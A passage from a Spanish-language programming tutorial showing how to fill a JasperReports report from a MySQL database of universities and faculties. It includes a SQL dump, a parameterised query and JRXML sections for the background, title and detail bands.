<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">7</span>, <span class="nu0">2</span>, <span class="st0">'Facultad de Comunicacion'</span>, <span class="st0">'Hector Solano'</span>, <span class="nu0">320</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">8</span>, <span class="nu0">2</span>, <span class="st0">'Facultad de Diseño'</span>, <span class="st0">'Sergio Monrroy'</span>, <span class="nu0">245</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`facultades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">9</span>, <span class="nu0">2</span>, <span class="st0">'Facultad de Salud'</span>, <span class="st0">'Juana Salazar'</span>, <span class="nu0">562</span><span class="br0">&#41;</span>;<br />
<br />
<span class="co1">-- --------------------------------------------------------</span><br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Estructura de tabla para la tabla `universidades`</span><br />
<span class="co1">-- </span><br />
<br />
<span class="kw1">CREATE</span> <span class="kw1">TABLE</span> <span class="st0">`universidades`</span> <span class="br0">&#40;</span><br />
&nbsp; <span class="st0">`id_universidad`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span> <span class="kw1">AUTO_INCREMENT</span>,<br />
&nbsp; <span class="st0">`nombre`</span> varchar<span class="br0">&#40;</span><span class="nu0">200</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="st0">`domicilio`</span> varchar<span class="br0">&#40;</span><span class="nu0">250</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> <span class="kw1">NULL</span>,<br />
&nbsp; <span class="kw1">PRIMARY</span> <span class="kw1">KEY</span>&nbsp; <span class="br0">&#40;</span><span class="st0">`id_universidad`</span><span class="br0">&#41;</span><br />
<span class="br0">&#41;</span> ENGINE=InnoDB&nbsp; <span class="kw1">DEFAULT</span> CHARSET=utf8 <span class="kw1">AUTO_INCREMENT</span>=<span class="nu0">5</span> ;<br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Volcar la base de datos para la tabla `universidades`</span><br />
<span class="co1">-- </span><br />
<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`universidades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">1</span>, <span class="st0">'Universidad de Montemorelos'</span>, <span class="st0">'Montemorelos NL MX'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`universidades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">2</span>, <span class="st0">'Tecnológico de Monterrey'</span>, <span class="st0">'Monterrey NL MX'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`universidades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">3</span>, <span class="st0">'Universidad del Valle de Mexico'</span>, <span class="st0">'Mexico DF MX'</span><span class="br0">&#41;</span>;<br />
<span class="kw1">INSERT</span> <span class="kw1">INTO</span> <span class="st0">`universidades`</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span><span class="nu0">4</span>, <span class="st0">'Universidad Regiomontana'</span>, <span class="st0">'Monterrey NL MX'</span><span class="br0">&#41;</span>;<br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Filtros para las tablas descargadas (dump)</span><br />
<span class="co1">-- </span><br />
<br />
<span class="co1">-- </span><br />
<span class="co1">-- Filtros para la tabla `facultades`</span><br />
<span class="co1">-- </span><br />
<span class="kw1">ALTER</span> <span class="kw1">TABLE</span> <span class="st0">`facultades`</span><br />
&nbsp; <span class="kw1">ADD</span> CONSTRAINT <span class="st0">`facultades_ibfk_1`</span> <span class="kw1">FOREIGN</span> <span class="kw1">KEY</span> <span class="br0">&#40;</span><span class="st0">`id_universidad`</span><span class="br0">&#41;</span> <span class="kw1">REFERENCES</span> <span class="st0">`universidades`</span> <span class="br0">&#40;</span><span class="st0">`id_universidad`</span><span class="br0">&#41;</span> <span class="kw1">ON</span> <span class="kw1">DELETE</span> CASCADE <span class="kw1">ON</span> <span class="kw1">UPDATE</span> CASCADE;</div></div>
<p>El siguiente paso es hacer el Query con el que se llenará la información, en este caso será el siguiente.</p>
<div class="codecolorer-container sql"><div class="codecolorer" style="font-family: monospace;"><span class="kw1">SELECT</span> U.nombre <span class="kw1">AS</span> universidad, U.domicilio, CURDATE<span class="br0">&#40;</span> <span class="br0">&#41;</span> <span class="kw1">AS</span> fecha, F.facultad, F.director, F.alumnos<br />
<span class="kw1">FROM</span> facultades F, universidades U<br />
<span class="kw1">WHERE</span> U.id_universidad = F.id_universidad<br />
<span class="kw1">AND</span> U.id_universidad =<span class="nu0">1</span></div></div>
<p>He sacado la fecha del sistema para mostrar como dar formato a una fecha en JasperReport. Ahora hay que introducir el Query al reporte y pasarle el parámetro necesario para que podamos sacar dinámicamente, desde Java, la universidad que queramos.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;queryString<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; SELECT&nbsp; U.nombre AS universidad, U.domicilio, CURDATE() AS fecha, F.facultad, F.director, F.alumnos</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; FROM facultades F, universidades U</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; WHERE U.id_universidad = F.id_universidad</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; AND U.id_universidad = $P{P_ID_UNIVERSIDAD}]]&gt;</span><br />
<span class="sc3"><span class="re1">&lt;/queryString<span class="re2">&gt;</span></span></span><br />
<br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;universidad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;domicilio&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;fecha&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;facultad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;director&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;alumnos&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">/&gt;</span></span></div></div>
<p>La etiqueta <queryString/> es la que almacena el Query que se ejecutará cuando el reporte sea mandado a llenar desde Java. Algo importante a mencionar es que se han creado varias <strong>field</strong> (campos), uno para cada campo regresado por el Query, el <strong>name</strong> de cada campo <strong>debe coincidir</strong> con los <strong>capos o alias devueltos por el Query</strong>, de esta manera se puede accesar a la información y colocarla en el reporte.</p>
<p>Como he mencionado en <a href="http://www.crysfel.com/index.php/2007/06/19/introduccion-a-jasperreport">la introducción</a> hay varias secciones en un reporte, y una de ellas es el background, hasta ahora no he mencionado nada sobre esta sección, pero como su nombre lo indica, esta sección es el fondo del documento, aquí se puede poner la plantilla de la empresa, o cualquier cosa, en este caso se pondrá una imagen que es el logotipo de la universidad, todo esto resumido en código queda de la siguiente manera.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;41&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;500&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;33&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;38&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;imageExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{LOGO_URL}]]&gt;</span><span class="sc3"><span class="re1">&lt;/imageExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/background<span class="re2">&gt;</span></span></span></div></div>
<p>Para poner una imagen se utiliza la etiqueta <strong>&lt;image&gt;</strong> y la url se le pasa mediante el parámetro <strong>$P{LOGO_URL}</strong>.</p>
<p>La siguiente sección es el titulo del documento, aquí se pondra con letras grandes el nombre de la universidad, el domicilio y la fecha en que se ha generado el reporte, además de una línea divisoria, esto se hace de la siguiente manera.</p>
<div class="codecolorer-container xml" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;70&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{universidad}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;49&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;line&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;graphicElement</span> <span class="re0">stretchType</span>=<span class="st0">&quot;NoStretch&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;50&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;250&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{domicilio}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">pattern</span>=<span class="st0">&quot;EEEEE dd MMMMM yyyy&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;260&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;50&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;270&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement</span> <span class="re0">textAlignment</span>=<span class="st0">&quot;Right&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{fecha}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span></div></div>
<p>No me voy a detener a explicar la parte de la interface pues esto lo he explicado en <a href="http://www.crysfel.com/index.php/2007/10/01/enviar-parametros-a-un-reporte-en-jasperreport">el paso de parámetros a un reporte</a>, lo que si hay que tomar en cuenta es que a diferencia del tutorial anterior, ahora, en lugar de imprimir parámetros se esta imprimiendo lo que proviene de la base de datos, mediante <strong>$F{universidad}</strong>, mediante el operador <strong>$F{}</strong> se accesa a los campos declarados en el Query, únicamente se escribe dentro de las llaves el nombre del campo a acceder.</p>
<p>Otra diferencia a notar es que al textfield de la fecha se le agrego una propiedad <strong>pattern=&#8221;EEEEE dd MMMMM yyyy&#8221;</strong>, este patrón se puede cambiar al gusto, es posible poner algo como &#8220;dd/MM/yyyy&#8221; para desplegar la fecha en formato &#8220;21/10/2008&#8243;.</p>
<p>Ahora la última parte interesante de este tutorial es la sección “detail”. Es aquí donde se desplegará la información del reporte, esta queda de la siguiente manera.</p>
<div class="codecolorer-container xml"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;detail<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;15&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{facultad}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{director}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;410&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{alumnos}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/detail<span class="re2">&gt;</span></span></span></div></div>
<p>Como se puede ver, solo se han declarado tres textfields, y se ha impreso en ellas lo que proviene de la base de datos, esta sección es diferente a todas las demás, pues esta sección itera el resultset (en este caso) o bien un listado de beans enviado desde Java.</p>
<p>Ya esta listo el reporte, que al final queda de la siguiente manera.</p>
<div class="codecolorer-container xml" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span> <span class="re0">encoding</span>=<span class="st0">&quot;UTF-8&quot;</span>&nbsp; <span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport PUBLIC &quot;//JasperReports//DTD Report Design//EN&quot; </span><br />
<span class="sc0">&quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--===================================== Por Crysfel Villa==================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;jasperReport</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">name</span>=<span class="st0">&quot;plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_ID_UNIVERSIDAD&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;LOGO_URL&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;queryString<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; SELECT&nbsp; U.nombre AS universidad, U.domicilio, CURDATE() AS fecha, F.facultad, F.director, F.alumnos</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; FROM facultades F, universidades U</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; WHERE U.id_universidad = F.id_universidad</span><br />
<span class="sc2">&nbsp; &nbsp; &nbsp; &nbsp; AND U.id_universidad = $P{P_ID_UNIVERSIDAD}]]&gt;</span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/queryString<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;universidad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;domicilio&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;fecha&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;facultad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;director&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;alumnos&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <br />
